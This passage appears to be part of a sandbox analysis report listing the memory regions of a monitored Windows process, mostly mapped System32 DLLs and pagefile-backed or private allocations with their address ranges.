"\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1019 start_va = 0x7fffc9b30000 end_va = 0x7fffc9b5afff monitored = 0 entry_point = 0x7fffc9b4a3a0 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 1020 start_va = 0x7fffc9b80000 end_va = 0x7fffc9baafff monitored = 0 entry_point = 0x7fffc9b82db0 region_type = mapped_file name = "wldp.dll" filename = "\\Windows\\System32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll") Region: id = 1021 start_va = 0x7fffc9bb0000 end_va = 0x7fffc9beafff monitored = 0 entry_point = 0x7fffc9bb4000 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 1022 start_va = 0x7fffc9bf0000 end_va = 0x7fffc9c16fff monitored = 0 entry_point = 0x7fffc9bf6200 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 1023 start_va = 0x7fffc9d00000 end_va = 0x7fffc9d11fff monitored = 0 entry_point = 0x7fffc9d055f0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1024 start_va = 0x7fffc9ec0000 end_va = 0x7fffc9eebfff monitored = 0 entry_point = 0x7fffc9ec7370 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1025 start_va = 0x7fffc9ef0000 end_va = 0x7fffc9f08fff monitored = 0 entry_point = 0x7fffc9efc950 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 1026 start_va = 0x7fffc9f10000 end_va = 0x7fffc9f21fff monitored = 0 entry_point = 0x7fffc9f13e30 region_type = mapped_file name = "umpdc.dll" filename = "\\Windows\\System32\\umpdc.dll" (normalized: "c:\\windows\\system32\\umpdc.dll") Region: id = 1027 start_va = 0x7fffc9f30000 end_va = 0x7fffc9f7afff monitored = 0 entry_point = 0x7fffc9f33480 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1028 start_va = 0x7fffc9f80000 end_va = 0x7fffca021fff monitored = 0 entry_point = 0x7fffc9faca60 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1029 start_va = 0x7fffca030000 end_va = 0x7fffca05dfff monitored = 0 entry_point = 0x7fffca034f10 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1030 start_va = 0x7fffca060000 end_va = 0x7fffca090fff monitored = 0 entry_point = 0x7fffca06e380 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1031 start_va = 0x7fffca0b0000 end_va = 0x7fffca0cefff monitored = 0 entry_point = 0x7fffca0b8ca0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1032 start_va = 0x7fffca220000 end_va = 0x7fffca26cfff monitored = 0 entry_point = 0x7fffca233280 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1033 start_va = 0x7fffca270000 end_va = 0x7fffca36ffff monitored = 0 entry_point = 0x7fffca285ac0 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1034 start_va = 0x7fffca370000 end_va = 0x7fffca479fff monitored = 0 entry_point = 0x7fffca3a1300 region_type = mapped_file name = "gdi32full.dll" filename = "\\Windows\\System32\\gdi32full.dll" (normalized: "c:\\windows\\system32\\gdi32full.dll") Region: id = 1035 start_va = 0x7fffca480000 end_va = 0x7fffca4fefff monitored = 0 entry_point = 0x7fffca4b73e0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1036 start_va = 0x7fffca500000 end_va = 0x7fffca55ffff monitored = 0 entry_point = 0x7fffca510380 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1037 start_va = 0x7fffca560000 end_va = 0x7fffca5fcfff monitored = 0 entry_point = 0x7fffca575390 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 1038 start_va = 0x7fffca600000 end_va = 0x7fffca75cfff monitored = 0 entry_point = 0x7fffca64efa0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1039 start_va = 0x7fffca760000 end_va = 0x7fffca781fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "win32u.dll" filename = "\\Windows\\System32\\win32u.dll" (normalized: "c:\\windows\\system32\\win32u.dll") Region: id = 1040 start_va = 0x7fffca790000 end_va = 0x7fffcaa56fff monitored = 0 entry_point = 0x7fffca7a1bd0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1041 start_va = 0x7fffcaa60000 end_va = 0x7fffcaa86fff monitored = 0 entry_point = 0x7fffcaa68690 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1042 start_va = 0x7fffcad60000 end_va = 0x7fffcad7cfff monitored = 0 entry_point = 0x7fffcad623b0 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" (normalized: "c:\\windows\\system32\\imagehlp.dll") Region: id = 1043 start_va = 0x7fffcad80000 end_va = 0x7fffcae2dfff monitored = 0 entry_point = 0x7fffcadbb940 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1044 start_va = 0x7fffcb2a0000 end_va = 0x7fffcb33afff monitored = 0 entry_point = 0x7fffcb2bc3e0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1045 start_va = 0x7fffcb350000 end_va = 0x7fffcb424fff monitored = 0 entry_point = 0x7fffcb36d190 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1046 start_va = 0x7fffcb440000 end_va = 0x7fffcb4fcfff monitored = 0 entry_point = 0x7fffcb457070 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1047 start_va = 0x7fffcb560000 end_va = 0x7fffcb5fdfff monitored = 0 entry_point = 0x7fffcb567850 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1048 start_va = 0x7fffcb600000 end_va = 0x7fffcb6a9fff monitored = 0 entry_point = 0x7fffcb615470 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1049 start_va = 0x7fffcb790000 end_va = 0x7fffcb798fff monitored = 0 entry_point = 0x7fffcb792020 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1050 start_va = 0x7fffcb7a0000 end_va = 0x7fffcb93ffff monitored = 0 entry_point = 0x7fffcb7b7a10 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1051 start_va = 0x7fffcb970000 end_va = 0x7fffcb9c4fff monitored = 0 entry_point = 0x7fffcb97a7e0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1052 start_va = 0x7fffcb9d0000 end_va = 0x7fffcba48fff monitored = 0 entry_point = 0x7fffcb9f28f0 region_type = mapped_file name = "coml2.dll" filename = "\\Windows\\System32\\coml2.dll" (normalized: "c:\\windows\\system32\\coml2.dll") Region: id = 1053 start_va = 0x7fffcbae0000 end_va = 0x7fffcbb87fff monitored = 0 entry_point = 0x7fffcbafd990 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1054 start_va = 0x7fffcbb90000 end_va = 0x7fffcbee3fff monitored = 0 entry_point = 0x7fffcbc81d00 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1055 start_va = 0x7fffcbef0000 end_va = 0x7fffcc018fff monitored = 0 entry_point = 0x7fffcbf16140 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1056 start_va = 0x7fffcc020000 end_va = 0x7fffcc08afff monitored = 0 entry_point = 0x7fffcc034300 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1057 start_va = 0x7fffcc090000 end_va = 0x7fffcc7c0fff monitored = 0 entry_point = 0x7fffcc19e6e0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1058 start_va = 0x7fffcc830000 end_va = 0x7fffcc952fff monitored = 0 entry_point = 0x7fffcc88da30 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1059 start_va = 0x7fffcc960000 end_va = 0x7fffcc989fff monitored = 0 entry_point = 0x7fffcc9648d0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1060 start_va = 0x7fffcc990000 end_va = 0x7fffcc9e5fff monitored = 0 entry_point = 0x7fffcc992840 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1061 start_va = 0x7fffcca30000 end_va = 0x7fffccc23fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1063 start_va = 0x8620000 end_va = 0x8621fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008620000" filename = "" Region: id = 1064 start_va = 0x8630000 end_va = 0x8631fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008630000" filename = "" Region: id = 1210 start_va = 0x8620000 end_va = 0x8621fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008620000" filename = "" Region: id = 1211 start_va = 0x8630000 end_va = 0x8631fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008630000" filename = "" Region: id = 1212 start_va = 0x8640000 end_va = 0x8641fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008640000" filename = "" Region: id = 1215 start_va = 0x8620000 end_va = 0x8621fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008620000" filename = "" Region: id = 1300 start_va = 0x8620000 end_va = 0x8620fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008620000" filename = "" Region: id = 1315 start_va = 0x8620000 end_va = 0x862afff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008620000" filename = "" Region: id = 1407 start_va = 0x8620000 end_va = 0x8622fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008620000" filename = "" Region: id = 1409 start_va = 0x8620000 end_va = 0x8626fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008620000" filename = "" Region: id = 1411 start_va = 0x8620000 end_va = 0x8625fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008620000" filename = "" Region: id = 1413 start_va = 0x8620000 end_va = 0x8626fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008620000" filename = "" Region: id = 1416 start_va = 0x8620000 end_va = 0x8625fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008620000" filename = "" Region: id = 1417 start_va = 0x8620000 end_va = 0x8622fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008620000" filename = "" Region: id = 1418 start_va = 0x8620000 end_va = 0x8621fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008620000" filename = "" Region: id = 1507 start_va = 0x7fffa88f0000 end_va = 0x7fffa8912fff monitored = 0 entry_point = 0x7fffa8902c30 region_type = mapped_file name = "waasassessment.dll" filename = "\\Windows\\System32\\WaaSAssessment.dll" (normalized: "c:\\windows\\system32\\waasassessment.dll") Region: id = 1508 start_va = 0x9a00000 end_va = 0x9bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a00000" filename = "" Region: id = 1509 start_va = 0x7280000 end_va = 0x72a9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windows.web.dll.mui" filename = "\\Windows\\System32\\en-US\\Windows.Web.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\windows.web.dll.mui") Region: id = 1510 start_va = 0x7fffbb560000 end_va = 0x7fffbb57efff monitored = 0 entry_point = 0x7fffbb56e410 region_type = mapped_file name = "utcutil.dll" filename = "\\Windows\\System32\\utcutil.dll" (normalized: "c:\\windows\\system32\\utcutil.dll") Region: id = 1511 start_va = 0x7fffae510000 end_va = 0x7fffae5abfff monitored = 0 entry_point = 0x7fffae577870 region_type = mapped_file name = "dcntel.dll" filename = "\\Windows\\System32\\dcntel.dll" (normalized: "c:\\windows\\system32\\dcntel.dll") Region: id = 1512 start_va = 0x7fffa87c0000 end_va = 0x7fffa886efff monitored = 0 entry_point = 0x7fffa87d9720 region_type = mapped_file name = "configmanager2.dll" filename = "\\Windows\\System32\\configmanager2.dll" (normalized: "c:\\windows\\system32\\configmanager2.dll") Region: id = 1513 start_va = 0x7fffc3460000 end_va = 0x7fffc3492fff monitored = 0 entry_point = 0x7fffc347cfd0 region_type = mapped_file name = "dmcmnutils.dll" filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll") Region: id = 1514 start_va = 0x7fffbc520000 end_va = 0x7fffbc528fff monitored = 0 entry_point = 0x7fffbc521380 region_type = mapped_file name = "dmiso8601utils.dll" filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll") Region: id = 1515 start_va = 0x7fffbb550000 end_va = 0x7fffbb55bfff monitored = 0 entry_point = 0x7fffbb5531c0 region_type = mapped_file name = "dmoleaututils.dll" filename = "\\Windows\\System32\\dmoleaututils.dll" (normalized: "c:\\windows\\system32\\dmoleaututils.dll") Region: id = 1516 start_va = 0x7fffb5b20000 end_va = 0x7fffb5b3ffff monitored = 0 entry_point = 0x7fffb5b32180 region_type = mapped_file name = "enterpriseresourcemanager.dll" filename = "\\Windows\\System32\\enterpriseresourcemanager.dll" (normalized: "c:\\windows\\system32\\enterpriseresourcemanager.dll") Region: id = 1517 start_va = 0x7fffa8710000 end_va = 0x7fffa87b6fff monitored = 0 entry_point = 0x7fffa8715ca0 region_type = mapped_file name = "dmenrollengine.dll" filename = "\\Windows\\System32\\dmenrollengine.dll" (normalized: "c:\\windows\\system32\\dmenrollengine.dll") Region: id = 1518 start_va = 0x7fffab910000 end_va = 0x7fffabad9fff monitored = 0 entry_point = 0x7fffaba48360 region_type = mapped_file name = "appraiser.dll" filename = "\\Windows\\System32\\appraiser.dll" (normalized: "c:\\windows\\system32\\appraiser.dll") Region: id = 1519 start_va = 0x7fffcae30000 end_va = 0x7fffcb296fff monitored = 0 entry_point = 0x7fffcae53230 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1520 start_va = 0x7fffc34a0000 end_va = 0x7fffc34e2fff monitored = 0 entry_point = 0x7fffc34a1810 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 1521 start_va = 0x7fffadb70000 end_va = 0x7fffade9afff monitored = 0 entry_point = 0x7fffadcb4ed0 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 1522 start_va = 0x7fffc8bf0000 end_va = 0x7fffc8d0afff monitored = 0 entry_point = 0x7fffc8bfc250 region_type = mapped_file name = "tdh.dll" filename = "\\Windows\\System32\\tdh.dll" (normalized: "c:\\windows\\system32\\tdh.dll") Region: id = 1523 start_va = 0x7fffb57e0000 end_va = 0x7fffb57f7fff monitored = 0 entry_point = 0x7fffb57e1360 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1524 start_va = 0x72b0000 end_va = 0x72b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000072b0000" filename = "" Region: id = 1525 start_va = 0x72c0000 end_va = 0x72c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000072c0000" filename = "" Region: id = 1526 start_va = 0x7fffc6760000 end_va = 0x7fffc688ffff monitored = 0 entry_point = 0x7fffc67fdcf0 region_type = mapped_file name = "dsreg.dll" filename = "\\Windows\\System32\\dsreg.dll" (normalized: "c:\\windows\\system32\\dsreg.dll") Region: id = 1527 start_va = 0x7fffc8d70000 end_va = 0x7fffc8d98fff monitored = 0 entry_point = 0x7fffc8d71bd0 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1528 start_va = 0x7fffc8d40000 end_va = 0x7fffc8d64fff monitored = 0 entry_point = 0x7fffc8d43920 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1529 start_va = 0x7fffb5b00000 end_va = 0x7fffb5b11fff monitored = 0 entry_point = 0x7fffb5b09300 region_type = mapped_file name = "enrollmentapi.dll" filename = "\\Windows\\System32\\enrollmentapi.dll" (normalized: "c:\\windows\\system32\\enrollmentapi.dll") Region: id = 1530 start_va = 0x7fffabc70000 end_va = 0x7fffabe26fff monitored = 0 entry_point = 0x7fffabd9d5c0 region_type = mapped_file name = "enterprisecsps.dll" filename = "\\Windows\\System32\\enterprisecsps.dll" (normalized: "c:\\windows\\system32\\enterprisecsps.dll") Region: id = 1531 start_va = 0x7fffaee00000 end_va = 0x7fffaee54fff monitored = 0 entry_point = 0x7fffaee29840 region_type = mapped_file name = "dmenterprisediagnostics.dll" filename = "\\Windows\\System32\\dmenterprisediagnostics.dll" (normalized: "c:\\windows\\system32\\dmenterprisediagnostics.dll") Region: id = 1532 start_va = 0x7fffaedc0000 end_va = 0x7fffaedf7fff monitored = 0 entry_point = 0x7fffaede0600 region_type = mapped_file name = "omadmapi.dll" filename = "\\Windows\\System32\\omadmapi.dll" (normalized: "c:\\windows\\system32\\omadmapi.dll") Region: id = 1533 start_va = 0x7fffc31e0000 end_va = 0x7fffc31fffff monitored = 0 entry_point = 0x7fffc31e1630 region_type = mapped_file name = "dmcfgutils.dll" filename = "\\Windows\\System32\\dmcfgutils.dll" (normalized: "c:\\windows\\system32\\dmcfgutils.dll") Region: id = 1534 start_va = 0x7fffc06e0000 end_va = 0x7fffc06fefff monitored = 0 entry_point = 0x7fffc06eeba0 region_type = mapped_file name = "dmxmlhelputils.dll" filename = "\\Windows\\System32\\dmxmlhelputils.dll" (normalized: "c:\\windows\\system32\\dmxmlhelputils.dll") Region: id = 1535 start_va = 0x7fffa80f0000 end_va = 0x7fffa841bfff monitored = 0 entry_point = 0x7fffa80f5160 region_type = mapped_file name = "certenroll.dll" filename = "\\Windows\\System32\\CertEnroll.dll" (normalized: "c:\\windows\\system32\\certenroll.dll") Region: id = 1536 start_va = 0x7fffc03f0000 end_va = 0x7fffc03fefff monitored = 0 entry_point = 0x7fffc03f5010 region_type = mapped_file name = "iri.dll" filename = "\\Windows\\System32\\iri.dll" (normalized: "c:\\windows\\system32\\iri.dll") Region: id = 1537 start_va = 0x7fffa8020000 end_va = 0x7fffa80ecfff monitored = 1 entry_point = 0x7fffa8022e40 region_type = mapped_file name = "certca.dll" filename = "\\Windows\\System32\\certca.dll" (normalized: "c:\\windows\\system32\\certca.dll") Region: id = 1538 start_va = 0x7fffbeb90000 end_va = 0x7fffbeb9bfff monitored = 0 entry_point = 0x7fffbeb91510 region_type = mapped_file name = "dsparse.dll" filename = "\\Windows\\System32\\dsparse.dll" (normalized: "c:\\windows\\system32\\dsparse.dll") Region: id = 1539 start_va = 0x9c00000 end_va = 0x9cf5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernel32.dll.mui" filename = "\\Windows\\System32\\en-US\\kernel32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernel32.dll.mui") Region: id = 1690 start_va = 0x1e00000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 1691 start_va = 0x3100000 end_va = 0x31fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 1725 start_va = 0x600000 end_va = 0x60cfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 1891 start_va = 0x600000 end_va = 0x600fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 2060 start_va = 0x1d00000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 2061 start_va = 0x600000 end_va = 0x60cfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 2063 start_va = 0x600000 end_va = 0x601fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 2065 start_va = 0x1e00000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 2066 start_va = 0x3100000 end_va = 0x31fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 2156 start_va = 0x600000 end_va = 0x601fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 2157 start_va = 0x610000 end_va = 0x61cfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 2159 start_va = 0x610000 end_va = 0x61cfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 2171 start_va = 0x610000 end_va = 0x618fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 2173 start_va = 0x610000 end_va = 0x615fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 2175 start_va = 0x620000 end_va = 0x625fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 2176 start_va = 0x630000 end_va = 0x638fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 2178 start_va = 0x630000 end_va = 0x634fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 2531 start_va = 0x600000 end_va = 0x600fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 2728 start_va = 0x600000 end_va = 0x60cfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 2731 start_va = 0x600000 end_va = 0x601fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 2732 start_va = 0x1240000 end_va = 0x133ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 2734 start_va = 0x600000 end_va = 0x601fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 2735 start_va = 0x610000 end_va = 0x615fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 2737 start_va = 0x620000 end_va = 0x625fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 2738 start_va = 0x630000 end_va = 0x638fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 2740 start_va = 0x630000 end_va = 0x634fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 2885 start_va = 0x610000 end_va = 0x611fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 2886 start_va = 0x1d00000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 2887 start_va = 0x1e00000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 2888 start_va = 0x3100000 end_va = 0x31fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 2896 start_va = 0x630000 end_va = 0x63cfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 2996 start_va = 0x630000 end_va = 0x630fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 3011 start_va = 0x630000 end_va = 0x636fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 3013 start_va = 0x630000 end_va = 0x636fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 3435 start_va = 0x630000 end_va = 0x631fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 3616 start_va = 0x1e00000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 3617 start_va = 0x630000 end_va = 0x630fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 3618 start_va = 0x640000 end_va = 0x643fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 3636 start_va = 0x630000 end_va = 0x630fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 3637 start_va = 0x640000 end_va = 0x643fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 3639 start_va = 0x630000 end_va = 0x633fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 3764 start_va = 0x1240000 end_va = 0x133ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 3765 start_va = 0x1d00000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 3766 start_va = 0x3100000 end_va = 0x31fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 3767 start_va = 0x3440000 end_va = 0x353ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003440000" filename = "" Region: id = 3768 start_va = 0x3540000 end_va = 0x363ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003540000" filename = "" Region: id = 3769 start_va = 0x3a00000 end_va = 0x3afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a00000" filename = "" Region: id = 3770 start_va = 0x4500000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004500000" filename 